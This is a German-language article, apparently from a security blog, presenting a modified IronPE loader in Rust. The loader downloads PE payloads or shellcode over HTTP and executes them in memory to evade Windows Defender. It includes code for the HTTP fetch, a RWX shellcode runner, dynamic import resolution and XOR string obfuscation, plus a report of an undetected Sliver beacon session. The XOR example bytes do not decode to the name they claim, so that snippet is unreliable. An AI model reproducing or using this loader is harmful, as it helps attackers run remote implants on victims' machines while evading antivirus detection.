IronPE-Modifikation für In-Memory-PE-Ladung zur Umgehung von Defender
Eine modifizierte Version von IronPE ermöglicht das Laden von PE-Dateien (EXE oder DLL) über HTTP/HTTPS direkt in den Speicher, ohne Schreibvorgänge auf die Festplatte. Dies umgeht die statische Analyse von Windows Defender, da keine Artefakte im Dateisystem verbleiben. Die Rust-Implementierung nutzt manuelles Mapping mit dynamischer Importauflösung und String-Verschleierung.
IronPE wurde ursprünglich entwickelt, um PE-Lademechanismen ohne Standard-APIs wie CreateProcess oder LoadLibrary zu demonstrieren. Diese Modifikation fügt netzwerkbasiertes Payload-Laden und Shellcode-Unterstützung hinzu, während legitime WinAPI-Aufrufe beibehalten werden.
Wichtige Code-Änderungen
HTTP-Ladung mit reqwest
Um die PE-Datei aus dem Netzwerk abzurufen, wird ein blockierender reqwest-Client integriert, der einen Browser-imitierenden User-Agent und ein 120-Sekunden-Timeout bietet.
fn fetch_from_url_reqwest(url: &str) -> Result<Vec<u8>, String> {
let client = reqwest::blocking::Client::builder()
.user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
.timeout(std::time::Duration::from_secs(120))
.build()?;
let response = client.get(url).send()?;
let bytes = response.bytes()?.to_vec();
Ok(bytes)
}
Ausführung: ./ironpe --x64 http://server/payload.exe. Bytes werden in den Speicher geladen, ohne auf die Festplatte gespeichert zu werden.
Shellcode-Unterstützung
Der --shellcode-Modus reserviert RWX-Speicher via VirtualAlloc und kopiert Bytes dorthin für direkte Ausführung. Geeignet für Stager wie Sliver.
"--shellcode" => {
let bytes = read_file_or_url(&args[2])?;
let ptr = VirtualAlloc(None, bytes.len(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
std::ptr::copy_nonoverlapping(bytes.as_ptr(), ptr as *mut u8, bytes.len());
let thread = CreateThread(None, 0, Some(std::mem::transmute(ptr)), None, 0, None);
WaitForSingleObject(thread?, INFINITE);
}
Dynamische Importauflösung
Die IAT wird minimiert: Alle Funktionen (VirtualAlloc, LoadLibrary, GetProcAddress, CreateThread) werden zur Laufzeit aufgelöst. Es gibt keine statischen Referenzen auf Injection oder LSASS-Zugriff, was die Erkennung reduziert.
String-Verschleierung
DLL- und Funktionsnamen werden als XOR-verschlüsselte Bytes gespeichert. Die Entschlüsselung erfolgt nur während der Ausführung.
fn decrypt(s: &[u8], key: u8) -> String {
s.iter().map(|&c| (c ^ key) as char).collect()
}
let kernel32 = decrypt(b"\x4b\x4f\x4c\x4d\x4e\x5a\x5b\x2b", 0x2a);
Statische Analyse-Umgehungsmechanismen
Diese Technik funktioniert unter Windows 11 25H2 mit aktivem Defender (Echtzeit, Cloud). Schlüsselfaktoren:
- Keine Festplatte: Das Payload (~30 MB Sliver Beacon) wird nicht gespeichert.
- Legitime APIs: VirtualAlloc, LoadLibrary usw. – Standard für Installer.
- Leere IAT: Dynamik verbirgt verdächtige Aufrufe.
- Rust: Selten in Malware, weniger YARA-Regeln.
- Netzwerkstufe: Das Payload ist dem statischen Scanner unbekannt.
Vorteile und Einschränkungen
| Aspekt | Original IronPE | Modifikation |
|--------|-----------------|-------------|
| Laden | Lokale Datei | HTTP/HTTPS |
| Shellcode | Nein | Ja, RWX |
| IAT | Teilweise dynamisch | Vollständig dynamisch |
| Strings | Klartext | XOR-Verschleierung |
| Defender-Erkennung | Möglich | Statische Umgehung |
In Tests auf einem VPS mit einem Python-Server (Port 8081) startete eine Sliver-Sitzung ohne Defender-Benachrichtigungen.
Wichtige Punkte:
- Manuelles Mapping + HTTP eliminiert Dateisignaturen.
- Dynamische Importe minimieren den statischen Fußabdruck.
- Rust reduziert Signaturrisiken, aber nicht verhaltensbasierte.
- Erfordert Verfeinerung für EDR mit AMSI/ETW-Überwachung.
- Nur für Sicherheitsforschung.
— Editorial Team
Noch keine Kommentare.